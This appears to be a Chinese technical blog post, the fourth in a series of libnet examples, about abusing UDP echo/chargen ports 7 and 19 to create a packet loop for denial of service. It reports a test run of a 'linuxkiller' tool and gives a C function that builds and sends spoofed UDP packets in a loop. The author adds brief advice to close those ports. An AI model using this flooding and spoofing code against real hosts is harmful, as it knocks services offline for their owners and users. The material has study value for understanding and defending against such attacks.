libnet使用举例(4)

   
      利用7/19等端口形成无限循环进而达到DoS目的。我用./linuxkiller -q lo -o 0x44
在linux上观察到了这种无限循环,用top命令查看,可以看到inetd进程CPU占用率高
达96.0%,因为7/19都是由inetd亲自处理的,注意这里并没有fork出另外一个inetd,
实际DoS已经相当有效。至于Solaris,用
/usr/sbin/snoop -x 42 udp and host 192.168.10.2 and port 7
并没有观察到无限循环,可能和snoop对lo0设备的支持不好,加之Solaris本身不带
top(碰巧实验机器也没有装GNU的),我无法确认无限循环是否成立。

下面给一个UDP报文发送器例子,可以指定发送UDP报文的数量,同时允许指定srcIp、
srcPort、dstIp、dstPort等等,同样提供随机化源IP、源端口的功能。只需要介入
raw_socket即可。

与syn-flood相比,libnet_build_ip()指定IP数据区长度为UDP头长度(固定为8字节)
加上UDP数据区长度,上层协议为IPPROTO_UDP。这次需要调用如下函数构造UDP头:

int libnet_build_udp ( u_short sport, u_short dport,
const u_char * payload, int payload_s,
u_char * buf );

UDP没有类似IP、TCP头部那样的选项数据区,这里的payload和前面那两个函数的
payload意义不同,这里的payload指向UDP数据区,payload_s对应UDP数据区长度,
UDP报头里有一个域对应整个UDP报文(包括UDP头)长度,与IP、TCP不同。最后一个形
参需要指向一个已分配好的数据区,UDP头从该指针开始。

还是调用
libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALEN );
计算UDP报文校验和,包括头部和数据区。所以必须在数据区构造完毕后调用该函数,
否则校验和错误。UDP校验和是可选的,如果设置成零表示不校验。我们做校验。

程序实在是没有意思,给个函数片段算了,利用UDP报文发送器进行DoS攻击的确恶心,
闲得没事还是关闭UDP 7/19吧,TCP 7/19稍微好点,想想为什么。

--------------------------------------------------------------------------

void udpSend ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, u_long udpNumber )
{
u_long s;
/* 构造IP头 */
libnet_build_ip( LIBNET_UDP_H + SCZUDPDATALEN, /* IP数据区长度 */
IPTOS_LOWDELAY, /* IP tos */
( u_short )random(), /* IP ID */
0, /* frag stuff */
255, /* TTL */
IPPROTO_UDP, /* 上层协议 */
srcIp, /* big-endian序 */
dstIp, /* 目标IP */
NULL, /* 无选项 */
0, /* 选项长度零 */
packet ); /* 指向IP头 */
for ( s = 0; s < udpNumber; s++ )
{
/* 构造UDP头 */
libnet_build_udp( srcPort, /* 源端口 */
dstPort, /* 目标端口 */
packet + LIBNET_IP_H + LIBNET_UDP_H, /* payload */
SCZUDPDATALEN, /* payload length */
packet + LIBNET_IP_H );
// 这里必须意识到,计算UDP校验和应该发生在UDP数据区构造完毕之后
// 我们目的特殊,UDP数据区已经提前构造完毕了
/* 计算UDP校验和,IP校验和由内核亲自计算 */
Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + SCZUDPDATALEN );
/* 发送UDP报文 */
Libnet_write_ip( rawSocket, packet, packet_size );
// 这个输出很耗费时间,如果不是调试用,应该去掉
// fprintf( stderr, "." );
} /* end of for */
return;
} /* end of udpSend */

--------------------------------------------------------------------------

后来在Solaris上装了GNU top之后,没有发现类似Linux那样CPU占用率激增的现象,
由于snoop对lo0设备的支持不是很好,无法通过协议分析软件观察无限循环是否成立。
估计是没有形成。而Linux默认UDP 7/19是关闭的,Solaris默认打开却又无效,sigh。
对2K测试也没有什么效果。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值